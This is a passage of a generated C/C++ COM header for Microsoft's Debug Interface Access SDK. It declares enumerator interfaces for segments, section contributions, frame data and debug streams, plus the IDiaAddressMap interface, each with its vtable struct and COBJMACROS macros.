\n        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Clone( \n            /* [out] */ IDiaEnumSegments **ppenum) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumSegmentsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumSegments * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumSegments * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumSegments * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            IDiaEnumSegments * This,\n            /* [retval][out] */ IUnknown **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            IDiaEnumSegments * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( \n            IDiaEnumSegments * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaSegment **segment);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumSegments * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSegment **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Skip )( \n            IDiaEnumSegments * This,\n            /* [in] */ ULONG celt);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaEnumSegments * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumSegments * This,\n            /* [out] */ IDiaEnumSegments **ppenum);\n        \n        END_INTERFACE\n    } IDiaEnumSegmentsVtbl;\n\n    interface IDiaEnumSegments\n    {\n        CONST_VTBL struct IDiaEnumSegmentsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumSegments_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumSegments_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumSegments_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumSegments_get__NewEnum(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) \n\n#define IDiaEnumSegments_get_Count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pRetVal) ) \n\n#define IDiaEnumSegments_Item(This,index,segment)\t\\\n    ( (This)->lpVtbl -> Item(This,index,segment) ) \n\n#define IDiaEnumSegments_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumSegments_Skip(This,celt)\t\\\n    ( (This)->lpVtbl -> Skip(This,celt) ) \n\n#define IDiaEnumSegments_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#define IDiaEnumSegments_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumSegments_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumSectionContribs_INTERFACE_DEFINED__\n#define __IDiaEnumSectionContribs_INTERFACE_DEFINED__\n\n/* interface IDiaEnumSectionContribs */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumSectionContribs;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"1994DEB2-2C82-4b1d-A57F-AFF424D54A68\")\n    IDiaEnumSectionContribs : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ IUnknown **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( \n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaSectionContrib **section) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSectionContrib **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Skip( \n            /* [in] */ ULONG celt) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Clone( \n            /* [out] */ IDiaEnumSectionContribs **ppenum) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumSectionContribsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumSectionContribs * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumSectionContribs * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumSectionContribs * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            IDiaEnumSectionContribs * This,\n            /* [retval][out] */ IUnknown **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            IDiaEnumSectionContribs * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( \n            IDiaEnumSectionContribs * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaSectionContrib **section);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumSectionContribs * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaSectionContrib **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Skip )( \n            IDiaEnumSectionContribs * This,\n            /* [in] */ ULONG celt);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaEnumSectionContribs * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumSectionContribs * This,\n            /* [out] */ IDiaEnumSectionContribs **ppenum);\n        \n        END_INTERFACE\n    } IDiaEnumSectionContribsVtbl;\n\n    interface IDiaEnumSectionContribs\n    {\n        CONST_VTBL struct IDiaEnumSectionContribsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumSectionContribs_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumSectionContribs_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumSectionContribs_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumSectionContribs_get__NewEnum(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) \n\n#define IDiaEnumSectionContribs_get_Count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pRetVal) ) \n\n#define IDiaEnumSectionContribs_Item(This,index,section)\t\\\n    ( (This)->lpVtbl -> Item(This,index,section) ) \n\n#define IDiaEnumSectionContribs_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumSectionContribs_Skip(This,celt)\t\\\n    ( (This)->lpVtbl -> Skip(This,celt) ) \n\n#define IDiaEnumSectionContribs_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#define IDiaEnumSectionContribs_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumSectionContribs_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumFrameData_INTERFACE_DEFINED__\n#define __IDiaEnumFrameData_INTERFACE_DEFINED__\n\n/* interface IDiaEnumFrameData */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumFrameData;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"9FC77A4B-3C1C-44ed-A798-6C1DEEA53E1F\")\n    IDiaEnumFrameData : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ IUnknown **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( \n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaFrameData **frame) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaFrameData **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Skip( \n            /* [in] */ ULONG celt) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Clone( \n            /* [out] */ IDiaEnumFrameData **ppenum) = 0;\n        \n        virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE frameByRVA( \n            /* [in] */ DWORD relativeVirtualAddress,\n            /* [retval][out] */ IDiaFrameData **frame) = 0;\n        \n        virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE frameByVA( \n            /* [in] */ ULONGLONG virtualAddress,\n            /* [retval][out] */ IDiaFrameData **frame) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumFrameDataVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumFrameData * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumFrameData * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumFrameData * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            IDiaEnumFrameData * This,\n            /* [retval][out] */ IUnknown **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            IDiaEnumFrameData * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( \n            IDiaEnumFrameData * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ IDiaFrameData **frame);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumFrameData * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaFrameData **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Skip )( \n            IDiaEnumFrameData * This,\n            /* [in] */ ULONG celt);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaEnumFrameData * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumFrameData * This,\n            /* [out] */ IDiaEnumFrameData **ppenum);\n        \n        /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *frameByRVA )( \n            IDiaEnumFrameData * This,\n            /* [in] */ DWORD relativeVirtualAddress,\n            /* [retval][out] */ IDiaFrameData **frame);\n        \n        /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *frameByVA )( \n            IDiaEnumFrameData * This,\n            /* [in] */ ULONGLONG virtualAddress,\n            /* [retval][out] */ IDiaFrameData **frame);\n        \n        END_INTERFACE\n    } IDiaEnumFrameDataVtbl;\n\n    interface IDiaEnumFrameData\n    {\n        CONST_VTBL struct IDiaEnumFrameDataVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumFrameData_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumFrameData_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumFrameData_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumFrameData_get__NewEnum(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) \n\n#define IDiaEnumFrameData_get_Count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pRetVal) ) \n\n#define IDiaEnumFrameData_Item(This,index,frame)\t\\\n    ( (This)->lpVtbl -> Item(This,index,frame) ) \n\n#define IDiaEnumFrameData_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumFrameData_Skip(This,celt)\t\\\n    ( (This)->lpVtbl -> Skip(This,celt) ) \n\n#define IDiaEnumFrameData_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#define IDiaEnumFrameData_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n#define IDiaEnumFrameData_frameByRVA(This,relativeVirtualAddress,frame)\t\\\n    ( (This)->lpVtbl -> frameByRVA(This,relativeVirtualAddress,frame) ) \n\n#define IDiaEnumFrameData_frameByVA(This,virtualAddress,frame)\t\\\n    ( (This)->lpVtbl -> frameByVA(This,virtualAddress,frame) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumFrameData_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumDebugStreamData_INTERFACE_DEFINED__\n#define __IDiaEnumDebugStreamData_INTERFACE_DEFINED__\n\n/* interface IDiaEnumDebugStreamData */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumDebugStreamData;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"486943E8-D187-4a6b-A3C4-291259FFF60D\")\n    IDiaEnumDebugStreamData : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ IUnknown **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_name( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( \n            /* [in] */ DWORD index,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [in] */ ULONG celt,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Skip( \n            /* [in] */ ULONG celt) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Clone( \n            /* [out] */ IDiaEnumDebugStreamData **ppenum) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumDebugStreamDataVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumDebugStreamData * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumDebugStreamData * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumDebugStreamData * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            IDiaEnumDebugStreamData * This,\n            /* [retval][out] */ IUnknown **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            IDiaEnumDebugStreamData * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( \n            IDiaEnumDebugStreamData * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( \n            IDiaEnumDebugStreamData * This,\n            /* [in] */ DWORD index,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumDebugStreamData * This,\n            /* [in] */ ULONG celt,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Skip )( \n            IDiaEnumDebugStreamData * This,\n            /* [in] */ ULONG celt);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaEnumDebugStreamData * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumDebugStreamData * This,\n            /* [out] */ IDiaEnumDebugStreamData **ppenum);\n        \n        END_INTERFACE\n    } IDiaEnumDebugStreamDataVtbl;\n\n    interface IDiaEnumDebugStreamData\n    {\n        CONST_VTBL struct IDiaEnumDebugStreamDataVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumDebugStreamData_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumDebugStreamData_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumDebugStreamData_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumDebugStreamData_get__NewEnum(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) \n\n#define IDiaEnumDebugStreamData_get_Count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pRetVal) ) \n\n#define IDiaEnumDebugStreamData_get_name(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_name(This,pRetVal) ) \n\n#define IDiaEnumDebugStreamData_Item(This,index,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> Item(This,index,cbData,pcbData,pbData) ) \n\n#define IDiaEnumDebugStreamData_Next(This,celt,cbData,pcbData,pbData,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,cbData,pcbData,pbData,pceltFetched) ) \n\n#define IDiaEnumDebugStreamData_Skip(This,celt)\t\\\n    ( (This)->lpVtbl -> Skip(This,celt) ) \n\n#define IDiaEnumDebugStreamData_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#define IDiaEnumDebugStreamData_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumDebugStreamData_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaEnumDebugStreams_INTERFACE_DEFINED__\n#define __IDiaEnumDebugStreams_INTERFACE_DEFINED__\n\n/* interface IDiaEnumDebugStreams */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaEnumDebugStreams;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"08CBB41E-47A6-4f87-92F1-1C9C87CED044\")\n    IDiaEnumDebugStreams : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ IUnknown **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ LONG *pRetVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Item( \n            /* [in] */ VARIANT index,\n            /* [retval][out] */ IDiaEnumDebugStreamData **stream) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaEnumDebugStreamData **rgelt,\n            /* [out] */ ULONG *pceltFetched) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Skip( \n            /* [in] */ ULONG celt) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Clone( \n            /* [out] */ IDiaEnumDebugStreams **ppenum) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaEnumDebugStreamsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaEnumDebugStreams * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaEnumDebugStreams * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaEnumDebugStreams * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            IDiaEnumDebugStreams * This,\n            /* [retval][out] */ IUnknown **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            IDiaEnumDebugStreams * This,\n            /* [retval][out] */ LONG *pRetVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Item )( \n            IDiaEnumDebugStreams * This,\n            /* [in] */ VARIANT index,\n            /* [retval][out] */ IDiaEnumDebugStreamData **stream);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            IDiaEnumDebugStreams * This,\n            /* [in] */ ULONG celt,\n            /* [out] */ IDiaEnumDebugStreamData **rgelt,\n            /* [out] */ ULONG *pceltFetched);\n        \n        HRESULT ( STDMETHODCALLTYPE *Skip )( \n            IDiaEnumDebugStreams * This,\n            /* [in] */ ULONG celt);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            IDiaEnumDebugStreams * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Clone )( \n            IDiaEnumDebugStreams * This,\n            /* [out] */ IDiaEnumDebugStreams **ppenum);\n        \n        END_INTERFACE\n    } IDiaEnumDebugStreamsVtbl;\n\n    interface IDiaEnumDebugStreams\n    {\n        CONST_VTBL struct IDiaEnumDebugStreamsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaEnumDebugStreams_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaEnumDebugStreams_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaEnumDebugStreams_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaEnumDebugStreams_get__NewEnum(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pRetVal) ) \n\n#define IDiaEnumDebugStreams_get_Count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pRetVal) ) \n\n#define IDiaEnumDebugStreams_Item(This,index,stream)\t\\\n    ( (This)->lpVtbl -> Item(This,index,stream) ) \n\n#define IDiaEnumDebugStreams_Next(This,celt,rgelt,pceltFetched)\t\\\n    ( (This)->lpVtbl -> Next(This,celt,rgelt,pceltFetched) ) \n\n#define IDiaEnumDebugStreams_Skip(This,celt)\t\\\n    ( (This)->lpVtbl -> Skip(This,celt) ) \n\n#define IDiaEnumDebugStreams_Reset(This)\t\\\n    ( (This)->lpVtbl -> Reset(This) ) \n\n#define IDiaEnumDebugStreams_Clone(This,ppenum)\t\\\n    ( (This)->lpVtbl -> Clone(This,ppenum) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaEnumDebugStreams_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_dia2_0000_0017 */\n/* [local] */ \n\nstruct DiaAddressMapEntry\n    {\n    DWORD rva;\n    DWORD rvaTo;\n    } ;\n\n\nextern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0017_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0017_v0_0_s_ifspec;\n\n#ifndef __IDiaAddressMap_INTERFACE_DEFINED__\n#define __IDiaAddressMap_INTERFACE_DEFINED__\n\n/* interface IDiaAddressMap */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaAddressMap;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"B62A2E7A-067A-4ea3-B598-04C09717502C\")\n    IDiaAddressMap : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressMapEnabled( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_addressMapEnabled( \n            /* [in] */ BOOL NewVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddressEnabled( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_relativeVirtualAddressEnabled( \n            /* [in] */ BOOL NewVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_imageAlign( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_imageAlign( \n            /* [in] */ DWORD NewVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE set_imageHeaders( \n            /* [in] */ DWORD cbData,\n            /* [size_is][in] */ BYTE *pbData,\n            /* [in] */ BOOL originalHeaders) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE set_addressMap( \n            /* [in] */ DWORD cData,\n            /* [size_is][in] */ struct DiaAddressMapEntry *pData,\n            /* [in] */ BOOL imageToSymbols) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaAddressMapVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaAddressMap * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaAddressMap * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaAddressMap * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressMapEnabled )( \n            IDiaAddressMap * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_addressMapEnabled )( \n            IDiaAddressMap * This,\n            /* [in] */ BOOL NewVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddressEnabled )( \n            IDiaAddressMap * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_relativeVirtualAddressEnabled )( \n            IDiaAddressMap * This,\n            /* [in] */ BOOL NewVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_imageAlign )( \n            IDiaAddressMap * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_imageAlign )( \n            IDiaAddressMap * This,\n            /* [in] */ DWORD NewVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *set_imageHeaders )( \n            IDiaAddressMap * This,\n            /* [in] */ DWORD cbData,\n            /* [size_is][in] */ BYTE *pbData,\n            /* [in] */ BOOL originalHeaders);\n        \n        HRESULT ( STDMETHODCALLTYPE *set_addressMap )( \n            IDiaAddressMap * This,\n            /* [in] */ DWORD cData,\n            /* [size_is][in] */ struct DiaAddressMapEntry *pData,\n            /* [in] */ BOOL imageToSymbols);\n        \n        END_INTERFACE\n    } IDiaAddressMapVtbl;\n\n    interface IDiaAddressMap\n    {\n        CONST_VTBL struct 